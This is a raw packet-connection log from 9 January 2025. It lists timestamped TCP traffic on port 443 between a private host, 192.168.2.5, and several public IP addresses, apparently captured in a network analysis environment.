Jan 9, 2025 04:28:35.854187965 CET	443	49739	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:35.854247093 CET	49739	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:35.854561090 CET	49739	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:35.854572058 CET	443	49739	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.224567890 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.227174997 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.227195978 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.227864981 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.228724003 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.228784084 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.229264021 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.275331974 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.308635950 CET	49703	443	192.168.2.5	23.1.237.91
Jan 9, 2025 04:28:36.308720112 CET	49703	443	192.168.2.5	23.1.237.91
Jan 9, 2025 04:28:36.311249971 CET	49740	443	192.168.2.5	23.1.237.91
Jan 9, 2025 04:28:36.311284065 CET	443	49740	23.1.237.91	192.168.2.5
Jan 9, 2025 04:28:36.311469078 CET	49740	443	192.168.2.5	23.1.237.91
Jan 9, 2025 04:28:36.312398911 CET	49740	443	192.168.2.5	23.1.237.91
Jan 9, 2025 04:28:36.312410116 CET	443	49740	23.1.237.91	192.168.2.5
Jan 9, 2025 04:28:36.313520908 CET	443	49703	23.1.237.91	192.168.2.5
Jan 9, 2025 04:28:36.313534021 CET	443	49703	23.1.237.91	192.168.2.5
Jan 9, 2025 04:28:36.339196920 CET	443	49739	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.339596033 CET	49739	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.339602947 CET	443	49739	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.339961052 CET	443	49739	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.340306044 CET	49739	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.340373039 CET	443	49739	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.340488911 CET	49739	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.348849058 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.348984957 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.349025965 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.349045038 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.349061012 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.349076033 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.349112988 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.349128962 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.349164009 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.349709034 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.349757910 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.349781036 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.349822998 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.349832058 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.349868059 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.350444078 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.354573965 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.354707003 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.354715109 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.387320042 CET	443	49739	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.396676064 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.440145969 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.440412045 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.440455914 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.440469980 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.440480947 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.440557957 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.440608025 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.440618992 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.440695047 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.441226959 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.441462040 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.441485882 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.441502094 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.441512108 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.441551924 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.442033052 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.442085028 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.442121029 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.442143917 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.442163944 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.442172050 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.442197084 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.442887068 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.442939043 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.442951918 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.443069935 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.443109989 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.443115950 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.443773985 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.443945885 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.443948984 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.443959951 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.443988085 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.476145029 CET	443	49739	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.476201057 CET	443	49739	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.476247072 CET	49739	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.477725983 CET	49739	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.477735996 CET	443	49739	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.485743999 CET	49741	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:36.485763073 CET	443	49741	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:36.485816956 CET	49741	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:36.486238956 CET	49741	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:36.486248970 CET	443	49741	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:36.531781912 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.531877041 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.531900883 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.531948090 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.531980038 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.532021999 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.532038927 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.532181025 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.532321930 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.532327890 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.532798052 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.532835007 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.532844067 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.532850981 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.532876968 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.533370972 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.533401966 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.533423901 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.533432007 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.533457994 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.533480883 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.534223080 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.534271002 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.534286022 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.534346104 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.535113096 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.535168886 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.535182953 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.535232067 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.536009073 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.536035061 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.536065102 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.536077023 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.536097050 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.536113024 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.536134005 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.536186934 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.536889076 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.536931992 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.623384953 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.623472929 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.623500109 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.623550892 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.623680115 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.623730898 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.623786926 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.623831987 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.623842955 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.623856068 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.623900890 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.624047995 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.624069929 CET	443	49738	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.624079943 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.624104977 CET	49738	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.742650986 CET	49719	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:36.779074907 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:36.779130936 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:36.779186964 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:36.779409885 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:36.779429913 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:36.787331104 CET	443	49719	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:36.835505009 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.835552931 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.835637093 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.835927010 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:36.835942030 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:36.950293064 CET	443	49740	23.1.237.91	192.168.2.5
Jan 9, 2025 04:28:36.950371981 CET	49740	443	192.168.2.5	23.1.237.91
Jan 9, 2025 04:28:36.978426933 CET	443	49741	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:36.978658915 CET	49741	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:36.978684902 CET	443	49741	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:36.979023933 CET	443	49741	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:36.979332924 CET	49741	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:36.979403973 CET	443	49741	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:36.979464054 CET	49741	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.027335882 CET	443	49741	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.033163071 CET	49741	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.074660063 CET	443	49719	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:37.074743032 CET	443	49719	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:37.074796915 CET	49719	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:37.077356100 CET	49719	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:37.077387094 CET	443	49719	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:37.083781004 CET	49745	443	192.168.2.5	35.190.80.1
Jan 9, 2025 04:28:37.083813906 CET	443	49745	35.190.80.1	192.168.2.5
Jan 9, 2025 04:28:37.083983898 CET	49745	443	192.168.2.5	35.190.80.1
Jan 9, 2025 04:28:37.084846020 CET	49745	443	192.168.2.5	35.190.80.1
Jan 9, 2025 04:28:37.084867001 CET	443	49745	35.190.80.1	192.168.2.5
Jan 9, 2025 04:28:37.122380018 CET	443	49741	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.122469902 CET	443	49741	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.122535944 CET	49741	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.124068022 CET	49741	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.124100924 CET	443	49741	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.242436886 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.242769957 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.242799044 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.243180037 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.243541956 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.243638039 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.243835926 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.291333914 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.319066048 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.319329977 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.319355965 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.319746971 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.320225000 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.320308924 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.320417881 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.320456028 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.320468903 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.399849892 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.399897099 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.399926901 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.399957895 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.399959087 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.399986982 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.400005102 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.400022984 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.400049925 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.400058985 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.400063038 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.400111914 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.400116920 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.406419039 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.406456947 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.406482935 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.406498909 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.406594992 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.406791925 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.460577965 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.488053083 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.488116026 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.488146067 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.488173962 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.488177061 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.488209009 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.488229036 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.488922119 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.488951921 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.488993883 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.489003897 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.489042044 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.489046097 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.489690065 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.489721060 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.489748001 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.489772081 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.489778042 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.489799976 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.490360975 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.490390062 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.490421057 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.490432024 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.490438938 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.490461111 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.491156101 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.491183996 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.491213083 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.491219044 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.491256952 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.491271973 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.492856026 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.492880106 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.492912054 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.492921114 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.492966890 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.496377945 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.496443033 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.496481895 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.496495962 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.496511936 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.496558905 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.496578932 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.496583939 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.496623993 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.496886015 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.497383118 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.497503042 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.497509003 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.501121998 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.501161098 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.501174927 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.501185894 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.501301050 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.501307964 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.553991079 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.563011885 CET	443	49745	35.190.80.1	192.168.2.5
Jan 9, 2025 04:28:37.563498974 CET	49745	443	192.168.2.5	35.190.80.1
Jan 9, 2025 04:28:37.563519955 CET	443	49745	35.190.80.1	192.168.2.5
Jan 9, 2025 04:28:37.564829111 CET	443	49745	35.190.80.1	192.168.2.5
Jan 9, 2025 04:28:37.564903021 CET	49745	443	192.168.2.5	35.190.80.1
Jan 9, 2025 04:28:37.566416979 CET	49745	443	192.168.2.5	35.190.80.1
Jan 9, 2025 04:28:37.566505909 CET	443	49745	35.190.80.1	192.168.2.5
Jan 9, 2025 04:28:37.566756964 CET	49745	443	192.168.2.5	35.190.80.1
Jan 9, 2025 04:28:37.566775084 CET	443	49745	35.190.80.1	192.168.2.5
Jan 9, 2025 04:28:37.576572895 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.576631069 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.576668024 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.576690912 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.576708078 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.576733112 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.576750040 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.577076912 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.577137947 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.577143908 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.577210903 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.577261925 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.577266932 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.577507973 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.577548981 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.577553988 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.577708960 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.577754021 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.577759027 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.577801943 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.577986002 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.578033924 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.578170061 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.578223944 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.578385115 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.578409910 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.578430891 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.578435898 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.578464985 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.578479052 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.578937054 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.579005957 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.579174995 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.579216003 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.579225063 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.579231024 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.579253912 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.579370975 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.579417944 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.579423904 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.579509020 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.581482887 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.581571102 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.588752985 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.588816881 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.588869095 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.588879108 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.588891029 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.588963985 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.588987112 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.589364052 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.589396000 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.589428902 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.589430094 CET	49744	443	192.168.2.5	104.18.95.41
